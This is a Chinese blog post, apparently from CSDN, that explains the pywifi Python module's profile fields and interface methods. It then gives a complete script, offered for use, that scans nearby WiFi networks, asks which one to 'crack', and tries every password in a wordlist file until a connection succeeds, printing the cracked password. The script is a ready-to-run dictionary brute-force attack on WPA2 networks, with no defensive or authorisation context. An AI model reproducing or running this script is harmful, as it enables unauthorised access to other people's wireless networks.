python~wifi篇

python~wifi篇

前言

最近对python的pywifi模块进行了一些学习了解,总结分享一波~

原文博客地址:python~wifi篇 | 旅程blog (cxy.red)

1. pywifi模块的安装

运用python包管理工具pip下载pywifi模块,在命令行中输入以下命令:

pip install pywifi

2. 各功能

2.1 成员变量

# 假设ssid, auth, akm, cipher, key已经定义
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = auth
profile.akm = [akm]  
profile.cipher = cipher
if cipher != pywifi.const.CIPHER_TYPE_NONE:  
    profile.key = key
  
1.  ssid:AP的用户名
2.  auth:AP的认证算法
    - const.AUTH_OPEN
    - const.AUTH_SHARED
3.  akm:AP的密钥管理类型
    - const.AKM_TYPE_NONE
    - const.AKM_TYPE_WPA
    - const.AKM_TYPE_WPAPSK
    - const.AKM_TYPE_WPA2
    - const.AKM_TYPE_WPA2PSK
4. cipher:AP的密码类型
    - const.CIPHER_TYPE_NONE
    - const.CIPHER_TYPE_WEP
    - const.CIPHER_TYPE_TKIP
    - const.CIPHER_TYPE_CCMP
5. key:AP的密码
    - 如果cipher不是CIPHER_TYPE_NONE,则应设置此值。

2.2 常用方法

# 假设Interface是一个已经初始化的pywifi接口对象
1. # 获取wifi接口的名字
   name = Interface.name()  
2. # 扫描APs
   Interface.scan()  
3. # 获取上次触发扫描的结果。将返回一个Profile文件列表
   scan_results = Interface.scan_results() 
4. # 添加用于稍后连接的AP配置文件
   Interface.add_network_profile(profile)  
5. # 删除所有AP配置
   Interface.remove_all_network_profiles()  
6. # 获取所有保存的AP Profile
   network_profiles = Interface.network_profiles()  # 修改为无参调用
7. # 连接设置的AP Profile
   Interface.connect(network_profiles[0])  # 假设连接第一个配置文件
8. # 断开当前的AP连接
   Interface.disconnect()
9. # 获取当前wifi的状态
   status = Interface.status()
   # 根据status的值判断状态
   # 例如: if status == pywifi.const.IFACE_CONNECTED:

3. 源码

import os
from pywifi import PyWiFi, const, Profile
import time

def scan_wifi(iface):
    iface.scan()
    print("---扫描周围WiFi中---")
    time.sleep(1)
    for i in iface.scan_results():
        print("WiFi名称:" + i.ssid.encode("raw_unicode_escape").decode() + ",信号强度:", str(i.signal + 100) + "%")

def connect_to_wifi(iface, password, ssid):
    try:
        profile = Profile()
        profile.ssid = ssid.encode().decode("GBK")
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.auth = const.AUTH_ALG_OPEN
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = password
        iface.remove_all_network_profiles()
        test_profiles = iface.add_network_profile(profile)
        iface.connect(test_profiles)
        time.sleep(1)
        return iface.status() == const.IFACE_CONNECTED
    except Exception as e:
        print(f"连接失败: {e}")
        return False

def main():
    wifi = PyWiFi()
    iface = wifi.interfaces()[0]  # 假设只有一个接口
    path = os.path.dirname(__file__)
    file_path = os.path.join(path, "密码本.txt")
  
    if iface.status() == const.IFACE_CONNECTED:
        print("请断开WiFi,再尝试运行!")
        status = input("如果断开WiFi可以输入1,退出脚本请按任意键: ")
        if status.strip() == "1":
            iface.disconnect()
            print("---断开WiFi中---")
            time.sleep(1)
    elif iface.status() != const.IFACE_DISCONNECTED:
        print("当前网卡状态异常!!!\n请重新运行")
        return

    scan_wifi(iface)
    wifi_name = input("请输入想破解的WiFi名称: ")
    print("---开始破解---")
    with open(file_path, "r") as f:
        for pwd in f:
            if connect_to_wifi(iface, pwd.strip(), wifi_name):
                print("破解成功,密码为:", pwd.strip())
                break
            else:
                print("破解失败,正在尝试下一个密码...")

if __name__ == "__main__":
    main()

4. 下载地址

参考文献

  1. Pywifi:Python库pywifi的详细介绍、安装方法和使用攻略-CSDN博客
  2. Pywifi用法-python - 凉沐流风 - 博客园 (cnblogs.com)
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

旅程@.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值